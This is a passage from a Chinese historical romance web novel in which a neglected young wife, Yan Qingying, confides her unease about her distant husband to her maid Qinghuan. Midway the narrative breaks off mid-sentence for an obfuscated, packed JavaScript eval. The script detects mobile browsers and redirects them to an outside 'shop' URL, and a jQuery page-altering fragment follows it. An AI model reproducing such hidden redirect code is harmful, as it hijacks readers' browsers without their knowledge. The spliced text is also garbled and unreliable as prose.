您先喝口茶,定定神。”
做梦都是反着来的呢?
晏清萦垂下眼帘,浓密纤长的睫毛在眼睑下方投下一片淡淡的阴影。她接过青瓷茶盏,手指微微颤抖,将茶盏送到唇边,轻轻地抿了一小口。
温热的茶水顺着喉咙缓缓流下,却始终无法驱散她心头的寒意。
她放下茶盏,目光扫过空荡荡的床榻,又透过窗棂望向外面漆黑如墨的夜色,心中一片茫然。
“青环,三少爷呢?”良久,她轻声问道,声音里带着一丝难以掩饰的落寞和期盼。
青环正忙着整理床铺,闻言手上的动作微微一顿,连忙放下手中的锦被,走到晏清萦身边,轻声回答:“回夫人的话,三少爷这些日子,好像都在忙着处理府里的生意。二少爷那边也脱不开身,两个人经常在书房一议事就是一整夜。您也知道,三少爷向来以家业为重……”
青环说到这里,小心翼翼地观察着晏清萦的脸色,见她并没有什么不悦的神情,这才继续说道:“不过,夫人您也别多心。三少爷虽然忙,可心里还是惦记着您的。您瞧,这库房的钥匙不是还在您这儿吗?平日里短了您什么,尽管去取就是了,三少爷知道了也不会说什么的,您可是这府里名正言顺的三少夫人!”
晏清萦微微颔首,表示自己知道了。
库房的钥匙确实在她这里,可那又怎么样呢?
那些冰冷的绫罗绸缎、价值连城的珠宝首饰,又怎么能比得上李云霆的片刻温存?
她想要的,从来都不是这些身外之物。
“屋子里怎么这么冷?是不是炭火不够了?”晏清萦紧了紧身上的衣裳,声音轻得像是在自言自语。
青环闻言,有些疑惑地看了看四周。
这屋子里烧着上好的银丝炭,暖意融融的,怎么会冷呢?
不过,她并没有多说什么,只是顺从地应道:“奴婢这就让人再添些炭。”
说着,她便唤了几个小丫鬟进来,将烧得通红的银丝炭添进精致的鎏金铜炉里。
炭火噼啪作响,热气蒸腾,整个屋子都暖和起来,仿佛一个小小的春天。
可是,晏清萦却还是觉得冷,那种冷,是从骨子里透出来的,无论怎么加炭都无济于事。
她下意识地搓了搓手臂,感觉自己的指尖冰凉,像是没有一丝温度。
她本想让丫鬟们再多加些炭,可抬眼一看,却见青环的脸颊已经被烤得微微泛红,额头上也渗出了一层薄薄的汗珠。
晏清萦到嘴边的话又咽了回去,她轻轻地叹了口气,终究还是放弃了。
“这会儿都什么点了?”她揉了揉有些发胀的太阳穴,声音里带着一丝疲惫。
青环连忙回答:“回夫人,已经是卯时了。再过一会儿,就该去给老夫人请安了。”
晏清萦默默地点了点头,没有再说什么。
她知道,这个夜晚,她又是独自熬过这漫漫长夜。
自从嫁入沈府以来,她和李云霆之间,似乎总是隔着一层看不见的屏障,很少有真正亲近的时候。
大多数时候,都是她独守空房,听着更漏声,一点一点地熬到天亮。
她也曾怀疑过,是不是李云霆对自己有什么不满。
记得有一次,她鼓起勇气,试探着问他,要不要纳几个妾室进门,也好伺候他。
谁知,一向温文尔雅的李云霆,却像是被触碰到了逆鳞一般,勃然大怒。他毫不犹豫地拒绝了纳妾的提议,语气十分强硬,甚至还斥责了她一番。
这让晏清萦更加不安。
后来,她又将这件事告诉了自己的婆母李夫人。
她本以为,自己主动提出为夫君纳妾,婆母应该会很高兴才对。
可谁知,李夫人的反应却出乎她的意料。
李夫人只是淡淡地笑了笑,让她不要操心这些,说眼下最要紧的,是早日为柳家开枝散叶。
末了,李夫人还意味深长地看了她一眼,说了一番让她至今都难以理解的话:
“阿萦,你呀,就是心思太单纯了。这后宅里的事情,可比你想象的要复杂得多。你现在没有子嗣傍身,就急着给云霆纳妾,万一那新进门的,是个不安分的,仗着年轻貌美,生下了儿子,到时候,你在这府里还有什么立足之地?”
“再说了,云霆的心思,难道你还不明白吗?他若是真的对你无意,又怎么会三番五次地拒绝纳妾?你呀,就安心地做你的三少夫人,别整
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052846|178491||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天胡思乱想的。”
可李云霆,真的对她有意吗?
至少,晏清萦自己是一点儿也感觉不出来。
虽然李云霆从不曾短缺她的用度,可两人之间的相处,却始终平淡如水,甚至还不如普通朋友。
成亲这么久,李云霆甚至从未主动牵过她的手。
有时候,她主动去牵他的手,他虽然没有立刻甩开,但晏清萦还是能敏锐地感觉到他的身体在那一瞬间的僵硬和抗拒。
甚至……就连在床上,他也是在完成任务似的,敷衍了事。
有时候,晏清萦半夜醒来,看到自己和李云霆之间隔着一条无法逾越的鸿沟,心里就忍不住一阵阵发慌。
她觉得自己就像是一个外人,被隔绝在他的世界之外。
她迫切地想要融入他的生活,却始终找不到突破口。
她开始怀疑,是不是李云霆的心里,其实一直藏着另一个人。
可是,她又不敢直接去问他。
她害怕听到那个让她无法接受的答案。
她只能将这份疑惑和不安,深深地埋藏在心底。
晏清萦想不明白这中间到底出了什么问题。
明明这门亲事是柳家主动提出的,李云霆也亲口承诺会好好待她,可为什么,一切都和她想象的不一样呢?
“夫人,您在想什么呢?小婢子喊您半天了,您都没反应。”青环的声音将晏清萦从纷乱的思绪中拉了回来。
晏清萦猛然回神,有些迷茫地看着她,“怎么了?”
“夫人,奴婢正想问您呢,”青环微微蹙眉,露出担忧的神情,“看您心事重重的,可是还在为昨夜的噩梦烦心?还是说,身子有什么不舒服?”
“我没事。”晏清萦回过神来,轻轻摇了摇头,勉强扯出一个笑容,“只是想起了一些往事,有些出神罢了。你刚刚说什么?”
“夫人不愿说,奴婢自然不敢多问,”青环垂眸,恭敬地说道,“只是时候不早了,奴婢该伺候夫人梳洗更衣,准备去给老夫人请安了。”
晏清萦点点头,顺从地任由青环服侍自己。
漱口,净面,更衣,梳头……
一切都有条不紊地进行着。